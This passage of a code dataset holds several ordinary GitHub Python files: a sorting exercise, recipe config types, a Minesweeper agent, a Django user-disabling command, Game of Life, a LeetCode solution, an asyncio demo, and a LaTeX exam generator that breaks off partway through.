+{"seq_id":"39451075195","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author   :Alvin.Xie\n# @Time    :2017/10/30 21:48\n# @File    :mysort.py\n\n# 把一个数字的list从小到大排序，然后写入文件，\n# 然后再从文件中读取出来文件内容，反序排列，再追加到文件的下一行中\nimport codecs\n\nimport re\n\nlists = [2, 32, 43, 453, 54, 6, 576, 5, 7, 6, 8, 78, 7, 89]\n\n\ndef fanxu(lists):\n    count = len(lists)\n    for i in range(0, count):\n        for j in range(i + 1, count):\n            if lists[i] < lists[j]:\n                lists[i], lists[j] = lists[j], lists[i]\n    fo = open(\"sort.txt\", \"a\")\n    fo.write('\\n')\n    fo.write(str(lists))\n    fo.close()\n\n\ndef asort(alist):\n    blist = sorted(lists)\n    writefile(str(blist))\n\n\ndef readfile():\n    fo = codecs.open(\"sort.txt\", \"r\")\n    for line in fo.readlines():\n        line = line.strip()\n    find_lst = re.findall('\\[(.*?)\\]', line)\n    result = find_lst[0].strip(',').split(',')\n    blist = map(eval, result)\n    # paixu(blist)\n    fo.close()\n    fanxu(blist)\n\n\ndef writefile(afile):\n    fo = open(\"sort.txt\", \"w\")\n    fo.write(afile)\n    fo.close()\n\n\nif __name__ == '__main__':\n    asort(lists)\n    readfile()\n","repo_name":"ahtornado/study-python","sub_path":"day10/mysort.py","file_name":"mysort.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35100107960","text":"import abc\nimport re\n\nfrom collections import namedtuple\n\nfrom infra.libs import infra_types\n\n\nRECIPE_MODULE_PREFIX = 'RECIPE_MODULES'\n\n\ndef ResetTostringFns():\n  RecipeConfigType._TOSTRING_MAP.clear()  # pylint: disable=W0212\n\n\ndef json_fixup(obj):\n  if isinstance(obj, RecipeConfigType):\n    return str(obj)\n  thawed = infra_types.thaw(obj)\n  if thawed is not obj:  # i.e. it was a frozen type\n    return thawed\n  raise TypeError(\"%r is not JSON serializable\" % obj)\n\n\nclass RecipeConfigType(object):\n  \"\"\"Base class for custom Recipe config types, intended to be subclassed.\n\n  RecipeConfigTypes are meant to be PURE data. There should be no dependency on\n  any external systems (i.e. no importing sys, os, etc.).\n\n  The subclasses should override default_tostring_fn. This method should\n  produce a string representation of the object. This string representation\n  should contain all of the data members of the subclass. This representation\n  will be used during the execution of the recipe_config_tests.\n\n  External entities (usually recipe modules), can override the default\n  tostring_fn method by calling <RecipeConfigType\n  subclass>.set_tostring_fn(<new method>). This new method will receive an\n  instance of the RecipeConfigType subclass as its single argument, and is\n  expected to return a string. There is no restriction on the data that the\n  override tostring_fn may use. For example, the Path class in this module has\n  its tostring_fn overridden by the 'path' recipe_module.  This new tostring_fn\n  uses data from the current recipe run, like the host os, to return platform\n  specific strings using the data in the Path object.\n  \"\"\"\n  _TOSTRING_MAP = {}\n\n  @property\n  def tostring_fn(self):\n    cls = self.__class__\n    return self._TOSTRING_MAP.get(cls.__name__, cls.default_tostring_fn)\n\n  @classmethod\n  def set_tostring_fn(cls, new_tostring_fn):\n    assert cls.__name__ not in cls._TOSTRING_MAP, (\n        'tostring_fn already installed for %s' % cls)\n    cls._TOSTRING_MAP[cls.__name__] = new_tostring_fn\n\n  def default_tostring_fn(self):\n    raise NotImplementedError\n\n  def __str__(self):\n    return self.tostring_fn(self) # pylint: disable=not-callable\n\n\nclass BasePath(object):\n  __metaclass__ = abc.ABCMeta\n\n\nclass NamedBasePath(BasePath, namedtuple('NamedBasePath', 'name')):\n  # Restrict basenames to '[ALL_CAPS]'. This will help catch\n  # errors if someone attempts to provide an actual string path '/some/example'\n  # as the 'base'.\n  BASE_RE = re.compile(r'\\[([A-Z][A-Z_]*)\\]')\n\n  @staticmethod\n  def parse(base):\n    base_match = NamedBasePath.BASE_RE.match(base)\n    assert base_match, 'Base should be [ALL_CAPS], got %r' % base\n    return NamedBasePath(base_match.group(1).lower())\n\n  def __repr__(self):\n    return '[%s]' % self.name.upper()\n\n\nclass ModuleBasePath(BasePath, namedtuple('ModuleBasePath', 'module')):\n  def __repr__(self):\n    prefix = '%s.' % RECIPE_MODULE_PREFIX\n    assert self.module.__name__.startswith(prefix)\n    name = self.module.__name__[len(prefix):]\n    return 'RECIPE_MODULE[%s]' % name\n\n\nclass Path(RecipeConfigType):\n  \"\"\"Represents a path which is relative to a semantically-named base.\n\n  Because there's a lot of platform (separator style) and runtime-specific\n  context (working directory) which goes into assembling a final OS-specific\n  absolute path, we only store three context-free attributes in this Path\n  object.\n  \"\"\"\n\n  def __init__(self, base, *pieces, **kwargs):\n    \"\"\"Creates a Path\n\n    Args:\n      base (str) - The 'name' of a base path, to be filled in at recipe runtime\n        by the 'path' recipe module.\n      pieces (tuple(str)) - The components of the path relative to base. These\n        pieces must be non-relative (i.e. no '..' or '.', etc. as a piece).\n\n    Kwargs:\n      platform_ext (dict(str, str)) - A mapping from platform name (as defined\n        by the 'platform' module), to a suffix for the path.\n    \"\"\"\n    super(Path, self).__init__()\n    assert all(isinstance(x, basestring) for x in pieces), pieces\n    assert not any(x in ('..', '.', '/', '\\\\') for x in pieces)\n    self.pieces = pieces\n\n    if isinstance(base, BasePath):\n      self.base = base\n    elif isinstance(base, basestring):\n      self.base = NamedBasePath.parse(base)\n    else:\n      raise ValueError('%s is not a valid base path' % base)\n\n    self.platform_ext = kwargs.get('platform_ext', {})\n\n  def __eq__(self, other):\n    return (self.base == other.base and\n            self.pieces == other.pieces and\n            self.platform_ext == other.platform_ext)\n\n  def __ne__(self, other):\n    return not self.base == other\n\n  def join(self, *pieces, **kwargs):\n    kwargs.setdefault('platform_ext', self.platform_ext)\n    return Path(self.base, *filter(bool, self.pieces + pieces), **kwargs)\n\n  def is_parent_of(self, child):\n    \"\"\"True if |child| is in a subdirectory of this path.\"\"\"\n    # Assumes base paths are not nested.\n    # TODO(vadimsh): We should not rely on this assumption.\n    if self.base != child.base:\n      return False\n    # A path is not a parent to itself.\n    if len(self.pieces) >= len(child.pieces):\n      return False\n    return child.pieces[:len(self.pieces)] == self.pieces\n\n  def default_tostring_fn(self):\n    suffix = ''\n    if self.platform_ext:\n      suffix = ', platform_ext=%r' % (self.platform_ext,)\n    pieces = ''\n    if self.pieces:\n      pieces = ', ' + (', '.join(map(repr, self.pieces)))\n    return 'Path(\\'%s\\'%s%s)' % (self.base, pieces, suffix)\n","repo_name":"luqui/recipe_engine","sub_path":"config_types.py","file_name":"config_types.py","file_ext":"py","file_size_in_byte":5467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6811855288","text":"# ==============================CS-199==================================\n# FILE:\t\t\tMyAI.py\n#\n# AUTHOR: \t\tJustin Chung\n#\n# DESCRIPTION:\tThis file contains the MyAI class. You will implement your\n#\t\t\t\tagent in this file. You will write the 'getAction' function,\n#\t\t\t\tthe constructor, and any additional helper functions.\n#\n# NOTES: \t\t- MyAI inherits from the abstract AI class in AI.py.\n#\n#\t\t\t\t- DO NOT MAKE CHANGES TO THIS FILE.\n# ==============================CS-199==================================\n\nfrom AI import AI\nfrom Action import Action\nfrom collections import Counter\n\n\nclass Tile():\n\n    def __init__(self, location: tuple = (None, None), hint: int = '.', mine: bool = False, isCovered: bool = True, isFlagged: bool = False):\n        self.mine = mine\n        self.isCovered = isCovered\n        self.isFlagged = isFlagged\n        self.hint = hint\n        self.location = location\n        self.x = location[0]\n        self.y = location[1]\n        #print([self.x, self.y])\n\n\n    def getHint(self) -> int:\n        return self.hint\n\n    def setHint(self, num: int):\n        self.hint = num\n    \n    def uncoverTile(self):\n        self.isCovered = False\n\n\nclass Constrain:\n    def __init__(self, suspectTile=list(), hint=0):\n        self.suspectTile = suspectTile\n        self.hint = hint\n\n    def __eq__(self, other):\n        def compare(x, y): return Counter(x) == Counter(y)\n        if compare(self.suspectTile, other.suspectTile) and self.hint == other.hint:\n            return True\n\n        else:\n            return False\n\n    def compare(self, another_constrain):\n        \n        new_constrain = Constrain()\n        isSubset = True\n        this_constrain = self\n        \n        for variable in set(this_constrain.suspectTile):\n            if variable not in set(another_constrain.suspectTile):\n                isSubset = False\n                break\n            \n        if isSubset:\n            new_constrain.suspectTile = list(set(another_constrain.suspectTile) - set(this_constrain.suspectTile))\n            new_constrain.hint = another_constrain.hint - this_constrain.hint\n            \n        return new_constrain\n\nclass MyAI(AI):\n\n    def __init__(self, rowDimension, colDimension, totalMines, startX, startY):\n\n        ########################################################################\n\t\t#\t\t\t\t\t\t\tYOUR CODE BEGINS\t\t\t\t\t\t   #\n\t\t########################################################################\n        # Edited by Y. Song and J. Ling at 2021.07.10\n\n        self.rowDimension = rowDimension\n        self.colDimension = colDimension\n        self.totalMines = totalMines\n        self.startX = startX\n        self.startY = startY\n\n        self.tiles = list()               # A list contains all tiles\n        self.exploredTiles = list()       # Already explored tiles\n        self.unexploredTiles = list()     # Not yet explored\n\n        self.safeTiles = list()           # Hint = 0\n        self.flaggedTiles = list()        # Suspected Mines\n\n        self.curTile = Tile()             \n\n        self.firstStep = True\n\n        self.whenToLeaveCounter = rowDimension * colDimension - totalMines\n        self.numMines = 0\n\n        for row in reversed(range(rowDimension)):\n            tileRow = list()\n            for col in range(colDimension):\n                tileRow.append(Tile(location=(col, row)))\n            self.tiles.append(tileRow)\n\n        for row in self.tiles:\n            for tile in row:\n                self.unexploredTiles.append(tile)\n        \n        ########################################################################\n\t    #\t\t\t\t\t\t\tYOUR CODE ENDS\t\t\t\t\t\t\t   #\n\t    ########################################################################\n\n\n    def getAction(self, number: int) -> \"Action Object\":\n\n        ########################################################################\n\t\t#\t\t\t\t\t\t\tYOUR CODE BEGINS\t\t\t\t\t\t   #\n\t\t########################################################################\n        # Edited by Y. Song and J. Ling at 2021.07.10\n\n        if self.firstStep:\n            self.firstStep = False\n            \n            self.curTile = self.tiles[self.rowDimension - 1 - self.startY][self.startX]\n            self.whenToLeaveCounter -= 1\n            self.unexploredTiles.remove(self.curTile)\n            self.exploredTiles.append(self.curTile)\n            return Action(AI.Action.UNCOVER, self.curTile.x, self.curTile.y)\n\n        self.curTile.setHint(number)\n\n        if (number == 0):\n\t\t\t#Append uncovered tiles to list\n            #self.safeTiles.append(self.curTile)\n\n\t\t\t# Uncover all tiles around safe tile\n            tilesAroundCurrent = self.findNeighbours(self.curTile.x, self.curTile.y)\n\n\t\t\t# Ensure action in bound\n            for tile in tilesAroundCurrent:\n                if tile.x >= 0 and tile.x < self.rowDimension and tile.y >= 0 and tile.y < self.colDimension and tile not in self.safeTiles and tile not in self.exploredTiles and tile not in self.flaggedTiles:\n                    self.safeTiles.append(tile)\n                    '''print(\"append tile:\")\n                    print([tile.x + 1, tile.y + 1])'''\n                    tile.uncoverTile()\n                    self.tiles[self.rowDimension - 1 - tile.y][tile.x] = tile\n\n        # Uncover all the safe tiles\n        if self.safeTiles:\n            self.curTile = self.safeTiles.pop()\n            self.exploredTiles.append(self.curTile)\n            self.unexploredTiles.remove(self.curTile)\n            self.whenToLeaveCounter -= 1\n\n            return Action(AI.Action.UNCOVER, self.curTile.x, self.curTile.y)\n\n        elif self.flaggedTiles:\n            self.curTile = self.flaggedTiles.pop()\n            self.exploredTiles.append(self.curTile)\n            self.unexploredTiles.remove(self.curTile)\n            self.curTile.isFlagged = True\n            self.numMines += 1\n\n            return Action(AI.Action.FLAG, self.curTile.x, self.curTile.y)\n\n        # No more safe tiles\n        else:\n            for tile in self.exploredTiles:\n                if tile.getHint() > 0:\n                \n                    flag_Tile = []\n                    covered_Tile = []\n                    tilesAroundCurrent = self.findNeighbours(tile.x, tile.y)\n                    for tilex in tilesAroundCurrent:\n                        if tilex.getHint() == '.':\n                            '''print(\"Append covered_Tile\")\n                            print([tilex.x + 1, tilex.y + 1])'''\n                            covered_Tile.append(tilex)\n                        elif tilex.getHint() == -1:\n                            '''print(\"Append flag_Tile\")\n                            print([tilex.x + 1, tilex.y + 1])'''\n                            flag_Tile.append(tilex)\n                            \n                    '''if tile.getHint() == len(covered_Tile) + len(flag_Tile) and len(covered_Tile) != 0:\n                        for y in covered_Tile:\n                            self.flaggedTiles.append(y)\n                            \n                    elif tile.getHint() == len(flag_Tile) and len(covered_Tile) != 0:\n                        for y in covered_Tile:\n                            self.safeTiles.append(y)'''\n\n                    if tile.getHint() == len(covered_Tile) + len(flag_Tile) and len(covered_Tile) != 0:\n\n                        self.curTile = covered_Tile.pop()\n                        self.exploredTiles.append(self.curTile)\n                        self.unexploredTiles.remove(self.curTile)\n                        self.curTile.flag = True\n                        self.numMines += 1\n                        '''print(\"Flag Tile 195\")\n                        print([self.curTile.x + 1, self.curTile.y + 1])'''\n\n                        return Action(AI.Action.FLAG, self.curTile.x, self.curTile.y)\n\n                    else:\n\n                        if tile.getHint() == len(flag_Tile) and len(covered_Tile) != 0:\n                            self.safeTiles.extend(covered_Tile)\n                            self.curTile = self.safeTiles.pop()\n                            self.exploredTiles.append(self.curTile)\n                            self.unexploredTiles.remove(self.curTile)\n                            self.whenToLeaveCounter -= 1\n                            '''print(\"Uncover Tile 208\")\n                            print([self.curTile.x + 1, self.curTile.y + 1])'''\n\n                            return Action(AI.Action.UNCOVER, self.curTile.x, self.curTile.y)\n\n        constrains = list()\n\n        for tile in self.exploredTiles:\n            frontier = False\n            flag_count = 0\n            neighbors = self.findNeighbours(tile.x, tile.y)\n            suspectTile = list()\n\n            for neighbor in neighbors:\n                if neighbor.getHint() == '.':\n                    frontier = True\n                    suspectTile.append(neighbor)\n\n                if neighbor.getHint() == -1:\n                    flag_count += 1\n\n            if frontier and tile.getHint() != -1:\n                cs = Constrain(suspectTile, tile.getHint() - flag_count)\n                constrains.append(cs)\n\n        constrains = self.solveConstrain(constrains)\n        extracted = self.extract(constrains)\n\n        for cs in extracted:\n            if cs.hint == 1:\n                self.flaggedTiles.extend(cs.suspectTile)\n\n            elif cs.hint == 0:\n                self.safeTiles.extend(cs.suspectTile)\n\n        if self.safeTiles:\n            self.curTile = self.safeTiles.pop()\n            self.exploredTiles.append(self.curTile)\n            self.unexploredTiles.remove(self.curTile)\n            self.whenToLeaveCounter -= 1\n\n            return Action(AI.Action.UNCOVER, self.curTile.x, self.curTile.y)\n\n        if self.numMines == self.totalMines:\n            return Action(AI.Action.LEAVE)\n\n\n        return Action(AI.Action.LEAVE)\n\n        ########################################################################\n\t    #\t\t\t\t\t\t\tYOUR CODE ENDS\t\t\t\t\t\t\t   #\n\t    ########################################################################\n\n    # returns neighbours' locationations\n    def findNeighbours(self, x, y) -> list:\n\n        neighbours = []\n        for neighbour_x in range (x - 1, x + 2):\n            for neighbour_y in range (y - 1, y + 2):\n                if 0 <= neighbour_x < self.rowDimension and 0 <= neighbour_y < self.colDimension and not(x == neighbour_x and y == neighbour_y):\n                    neighbours.append(self.tiles[self.rowDimension - 1 - neighbour_y][neighbour_x])\n\n        return neighbours\n    \n    def solveConstrain(self, constrains):\n\n        for cs1 in constrains:\n            for cs2 in constrains:\n\n                cs = cs1.compare(cs2)\n\n                if cs not in constrains and cs.suspectTile:\n                    constrains.append(cs)\n\n                if len(cs.suspectTile) == cs.hint:\n                    for i in range(len(cs.suspectTile)):\n                        cs_new = Constrain([cs.suspectTile[i]], 1)\n                        if cs_new not in constrains and cs_new.suspectTile:\n                            constrains.append(cs_new)\n\n                if len(cs.suspectTile) > 0 and cs.hint == 0:\n                    for i in range(len(cs.suspectTile)):\n                        cs_new = Constrain([cs.suspectTile[i]], 0)\n                        if cs_new not in constrains and cs_new.suspectTile:\n                            constrains.append(cs_new)\n\n        return constrains\n\n    def extract(self, constrains):\n        extracted = list()\n        for cs in constrains:\n            if len(cs.suspectTile) == 1:\n                extracted.append(cs)\n\n        return extracted","repo_name":"Kastorp-S/COMPSCI171","sub_path":"Minesweeper_Python/src/MyAI.py","file_name":"MyAI.py","file_ext":"py","file_size_in_byte":11557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9640917534","text":"from django.core.management.base import BaseCommand, CommandError\n\nfrom users.models import User\nfrom cotisations.models import Facture\nfrom preferences.models import OptionalUser\nfrom datetime import timedelta\n\nfrom django.utils import timezone\n\n\nclass Command(BaseCommand):\n    help = \"Disable users who haven't confirmed their email.\"\n\n    def handle(self, *args, **options):\n        \"\"\"First deleting invalid invoices, and then deleting the users\"\"\"\n        days = OptionalUser.get_cached_value(\"disable_emailnotyetconfirmed\")\n        users_to_disable = (\n            User.objects.filter(email_state=User.EMAIL_STATE_PENDING)\n            .filter(email_change_date__lte=timezone.now() - timedelta(days=days))\n            .distinct()\n        )\n        print(\"Disabling \" + str(users_to_disable.count()) + \" users.\")\n\n        for user in users_to_disable:\n            user.email_state = User.EMAIL_STATE_UNVERIFIED\n            user.notif_disable()\n            user.save()\n","repo_name":"Re2o/re2o","sub_path":"users/management/commands/disable_emailnotyetconfirmed.py","file_name":"disable_emailnotyetconfirmed.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"34361041059","text":"########################################\r\n# Challenge 165E: ASCII Game of Life   #\r\n#           Date: June 13, 2014        #\r\n########################################\nimport random\r\nimport os\r\nimport time\n\ngridsize = int(input(\">\"))\ngrid = [[0 for x in range(gridsize)] for i in range(gridsize)]\n\nclass Cell(object):\n    def __init__(self, x, y, active, gridsize):\n        self.x = x\n        self.y = y\n        self.active = active\n        self.activeNeighbors = 9\n        self.activeOnUpdate = active\n        self.neighbors = [[x-1, y-1], [x, y-1], [x+1, y-1],\n                          [x-1, y], [x+1, y],\n                          [x-1, y+1], [x, y+1], [x+1, y+1]]\n        for i in range(8):\n            for i2 in range(2):\n                if self.neighbors[i][i2] == gridsize:\n                    self.neighbors[i][i2] = 0\n\n    def iterate(self, grid):\n        activeNeighbors = 0\n        for i in range(8):\n            if grid[self.neighbors[i][1]][self.neighbors[i][0]].active:\n                activeNeighbors += 1\n                \n        self.activeNeighbors = activeNeighbors\n        if activeNeighbors < 2 or activeNeighbors > 3:\r\n            self.activeOnUpdate = False\n        elif activeNeighbors == 3:\r\n            self.activeOnUpdate = True\n\n    def update(self):\n        self.active = self.activeOnUpdate\n\n\ndef initGrid(gridsize, grid):\n    x = 0\n    y = 0\n    for i in range(gridsize**2):\n        if x == gridsize:\n            x = 0\n            y += 1\n        if y == gridsize:\n            break\n        if random.randint(0, 6) == 1:\r\n            state = True\n        else:\r\n            state = False\r\n\n        # Because console prints line by line (each line being a Y coord), Y must be first\n        grid[y][x] = Cell(x, y, state, gridsize)\n        x += 1\r\n\r\n\ndef drawGrid(grid):\n    os.system('cls')\n    y = 0\n    for j in grid:\n        for o in j:\n            if o.y != y:\n                print(\"\\n\", end='')\n                y = o.y\n            if o.active:\r\n                print('#', end='')\n            else:\r\n                print(\",\", end='')\n    print('')\n\n\r\ndef updateGrid(grid):\n    for j in grid:\n        for o in j:\n            o.iterate(grid)\n    for j in grid:\n        for o in j:\n            o.update()\r\n\ninitGrid(gridsize, grid)\nwhile 1:\n    drawGrid(grid)\n    updateGrid(grid)\n    time.sleep(.08)\n","repo_name":"Portersson/DailyProgrammer","sub_path":"dailyprogrammer_165E.py","file_name":"dailyprogrammer_165E.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26961706555","text":"\"\"\"\n221. Maximal Square\n\nGiven a 2D binary matrix filled with 0's and 1's, find the largest square containing only 1's and return its area.\n\nFor example, given the following matrix:\n\n1 0 1 0 0\n1 0 1 1 1\n1 1 1 1 1\n1 0 0 1 0\nReturn 4.\nCredits:\nSpecial thanks to @Freezen for adding this problem and creating all test cases.\n\nHide Company Tags Apple Airbnb Facebook\nHide Tags Dynamic Programming\nHide Similar Problems (H) Maximal Rectangle\n\n\"\"\"\n# LUP dp[iu][j] represents the length of the square\n# whose lower-right corner is located at (i, j)\nclass Solution(object):\n    def maximalSquare(self, matrix):\n        \"\"\"\n        :type matrix: List[List[str]]\n        :rtype: int\n        \"\"\"\n        if not matrix:\n            return 0\n        dp, maxer = [[0]*(len(matrix[0])+1) for i in range(len(matrix)+1)], 0\n        for i in range(1, len(matrix)+1):\n            for j in range(1, len(matrix[0])+1):\n                if matrix[i-1][j-1]=='1':\n                    dp[i][j] = min(dp[i-1][j-1], dp[i][j-1], dp[i-1][j]) + 1\n                    maxer = max(maxer, dp[i][j])\n\n        return maxer*maxer\n","repo_name":"tejamupparaju/LeetCode_Python","sub_path":"leet_code228.py","file_name":"leet_code228.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26080467933","text":"import asyncio\nimport time\n\nfrom time_decorator import async_timed\n\n\n@async_timed()\nasync def main():\n    task1 = asyncio.create_task(delay(2))\n    task2 = asyncio.create_task(delay(3))\n    await task1\n    await task2\n\n\n@async_timed()\nasync def delay(s: int) -> int:\n    print(f'Sleeping for {s} second(s)')\n    await asyncio.sleep(s)\n    print(f'{s}-second nap complete.')\n    return s\n\n\nif __name__ == '__main__':\n    asyncio.run(main())\n","repo_name":"damiansp/completePython","sub_path":"concurrency/asyncio/02_basics/timing.py","file_name":"timing.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29844679010","text":"#!/usr/bin/env python3\n### GLOBAL DECLARATIONS\n### All text after %%% sign will go to comments in LaTeX-based AMC\n\n### imports\n\nimport sys\nimport os.path\nimport time\nimport urllib.request as ulr\n\n### logging function\n\n\ndef logFileF(strToLog, n = 0, date = True, zone = False):\n  \n  with open('log.txt', 'a+') as logFile:\n    \n    timeZone = ' - ' + time.strftime(\"%z - %Z\") if zone else '' \n    dateStr = '***' + time.strftime(\"%H:%M:%S\") + timeZone + '\\n' if date else ''\n    newLine = '\\n'\n    logFile.write(dateStr + strToLog + newLine * n)\n  \n\n### inputs for test\nlogFileF('~~~Date: ' + time.strftime('%Y %B %d %A'), 1, zone = True)\n\nwhile True:\n  \n  copyNumber = input(\"How many copies will you need? \")\n  if int(copyNumber):\n    \n    break\n  else:\n    \n    print(\"Wrong value. Should be a number, not a string\")\n    \n### date processing\nmonthList = ('Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec')\nmonths31 = (0,2,4,6,7,9,11)\nmonths30 = (3,7,8,10)\n\ndateOfTest = input(\"Enter the date of the exam in the format YYYYMMDD: \")\n\nwhile True:\n  \n  try:\n    \n    dateCheck = int(dateOfTest)\n  except:\n    \n    print(\"Wrong value. Should be a number, e.g. 20201231\")\n    dateOfTest = input(\"Enter the date of the exam in the format YYYYMMDD: \")\n  else:\n    \n    if dateCheck >= 20000101 and dateCheck <= 20991231:\n      \n      yearInt = int(dateOfTest[:4])\n      monthInt = int(dateOfTest[4:6])\n      dayInt = int(dateOfTest[6:])\n\n      if monthInt < 13 and monthInt > 0:\n        \n        month = monthInt - 1\n        if dayInt > 0 and ((month in months30 and dayInt < 31) or\\\n        (month in months31 and dayInt < 32) or (month == 1 and\\\n        yearInt % 4 == 0 and dayInt < 30) or (month == 1 and yearInt\\\n        % 4 != 0 and dayInt < 29)):\n          \n          day = dayInt\n          break\n        else:\n          \n          print(\"Wrong date format! Revise the date.\")\n      else:\n        \n        print(\"Wrong date format! Revise the month.\")\n    else:\n      \n      print(\"Wrong date format! Revise the date.\")\n    \n    dateOfTest = input(\"Enter the date of the exam in the format YYYYMMDD: \")\n\ndateOfTestM = monthList[month] + \" \" + str(day) + \", \" + str(yearInt)\n\n### exam name to put on answer sheet\nexamName = input(\"Please name your exam (if two lines needed place two backslash \\\\\\\\ on the linebreak): \")\n\n### set up ID of a student\nstudentIdNumber = input(\"How many digits are in student ID number? (2-30 digits allowed): \")\n\nwhile True:\n  \n  try:\n    \n    studentId = int(studentIdNumber)\n  except:\n    \n    print(\"Wrong value. Should be a number, not a string\")\n    studentIdNumber = input(\"How many digits are in student ID number? (2-30 digits allowed): \")\n  else:\n    \n    if studentId >= 2 and studentId <= 30:\n      \n      break\n    else:\n      \n      print(\"Error! Should be between 2 and 30 digits\")\n      studentIdNumber = input(\"How many digits are in student ID number? (2-30 digits allowed): \")\n\n### check if there are multiple correct choice questions, so that a special sign is put before the question\nyess = ['y', 'yes']\naskMult = input(\"Will you have any multiple correct choice answers? (y/n): \")\naskMult = askMult.lower()\nmultSymbole = '\\\\begin{flushleft}\\n  {\\\\bf Questions using the sign \\\\multiSymbole{} have several correct answers. Negative marking (-0.25 point) is applied to this question}\\n\\\\\\[1.5\\\\baselineskip]\\n\\\\end{flushleft}' if askMult in yess else ''\n\n### indicate if you want \"None of the above\" option\n\nindicMulti = input(\"Do you want to have 'None of these answers are correct' option?: \")\nindicateMulti = 'completemulti,' if indicMulti.lower() in yess else ''\n\n### declarations\n\nquizFile = open('Qs.txt', encoding = \"utf8\") \nquizQs = [each.strip() for each in quizFile if len(each) > 1]\nquizFile.close()\noutfile = open('prcssdQs.txt', 'wt', encoding = \"utf8\")\n\ncount = 1\nquestionNumber = '1'\ncolumnNum = '5'\n\nlogFileF('   Exam name: ' + examName + '\\n   Exam date: ' + dateOfTestM + '\\n   Exam copies Number: ' + copyNumber + '\\n   Exam ID number digits: ' + studentIdNumber + '\\n   Exam multiple correct choice: ' + str(askMult in yess) + '\\n', 1)\nlogFileF('... imports and script declarations are successful\\n')\n\n### Preparing the questions for LaTeX\n\nprohibSymbs = ['\\\\', '%', '$', '{', '_', '|', '™', '£', '#', '&', '}', '§', '<', '®', '©', '°', '>', '~', '^', 'ULINEDSPACE']\nescSymbs = ['\\\\\\\\', '\\\\%', '\\\\$', '\\\\{', '\\\\_', '\\\\textbar', '\\\\texttrademark', '\\\\pounds', '\\\\#', '\\\\&', '\\\\}', '\\\\S', '\\\\txtless', '\\\\textregistered', '\\\\copyright', '\\\\textdegree', '\\\\textgreater', '\\\\~{}', '\\\\^{}', '\\\\_\\\\_\\\\_\\\\_\\\\_\\\\_\\\\_\\\\_\\\\_\\\\_']\n\nfor every in range(len(quizQs)):\n  tempProhib = []\n  for each in range(len(prohibSymbs)):\n    if prohibSymbs[each] in quizQs[every]:\n      quizQs[every] = quizQs[every].replace(prohibSymbs[each], escSymbs[each])\n      if prohibSymbs[each] not in tempProhib:\n        tempProhib.append(prohibSymbs[each])\nlogFileF('... replaced LaTeX-prohibited characters: ' + ', '.join(tempProhib) + '\\n', date = False)\n\n### FUNCTIONS\n\n### function to number the question\n\ndef questNum():\n  global count\n  if count < 10:\n    questNum = \"q00\" + str(count)\n  elif count >= 100:\n    questNum = \"q\" + str(count)\n  else:\n    questNum = \"q0\" + str(count)\n  count += 1\n  return questNum\n\n### function to start the question\n\ndef outfileBeg(argQuizMulti, qmult = '', horiz = False):\n  global columnNum\n  global questionNumber\n  questionNumber = questNum()\n  horizLine = '    \\\\begin{multicols}{' + columnNum + '}\\n' if horiz else ''\n  outfile.writelines('\\\\element{general}{\\n  \\\\begin{question' + qmult + '}{' + questionNumber + qmult + '}\\n    ' + argQuizMulti + '\\n' + horizLine + '    \\\\begin{choices}\\n\\\\scoring{p=0}\\n')\n\n### function to finish the question\n\ndef outfileEnding(qmult = '', horiz = False):\n  horizLine = '    \\\\end{multicols}\\n' if horiz else ''\n  outfile.writelines('    \\\\end{choices}\\n' + horizLine + '  \\\\end{question' + qmult + '}\\n} % element\\n')\n\n### functions for correct and wrong answers\n\ndef correctChoice(choice, qmqN):\n  outfile.writelines('      \\\\correctchoice{' + choice + '}\\\\scoring{b=' + qmqN + '}\\n')\n\ndef wrongChoice(choice):\n  outfile.writelines('      \\\\wrongchoice{' + choice + '}\\\\scoring{b=0,m=-0.25}\\n')\n\n### function to code column number\n\ndef columnNumber(value):\n  global columnNum\n  global questionNumber\n  try:\n    int(value)\n    columnNum = value\n  except:\n    thisIsSparta = int(questionNumber[1:]) + 1\n    if thisIsSparta < 10:\n      questNumb = \"q00\" + str(thisIsSparta)\n    elif thisIsSparta >= 100:\n      questNumb = \"q\" + str(thisIsSparta)\n    else:\n      questNumb = \"q0\" + str(thisIsSparta)\n    print('The question ' + questNumb + ' will have the default number of columns - 5')\n\nlogFileF('... function declarations are successful\\n', date = False)\n\n### FIRST PART OF AMC FILE\n\noutfile.writelines('''%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n\\\\documentclass[a4paper,11pt]{article}\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%%% Declaring packages\n\\\\usepackage[utf8x]{inputenc}\n\\\\usepackage[T1]{fontenc}\n\\\\usepackage[box,''' + indicateMulti + '''separateanswersheet]{automultiplechoice}\n\\\\usepackage{graphicx}\n\\\\graphicspath{{.//}}\n\\\\usepackage{multicol}\n\\\\usepackage{textcomp}\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%%% Starting of the document\n\\\\begin{document}\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%%% Student's name part\n\\\\hfill\n  \\\\fbox{\n    \\\\begin{minipage}{.5\\\\linewidth}\n    Firstname and lastname:\\\\\\\\\n    \\\\vspace*{.1cm}\\\\dotfill\n    \\\\vspace*{1mm}\n    \\\\end{minipage}\n  } % 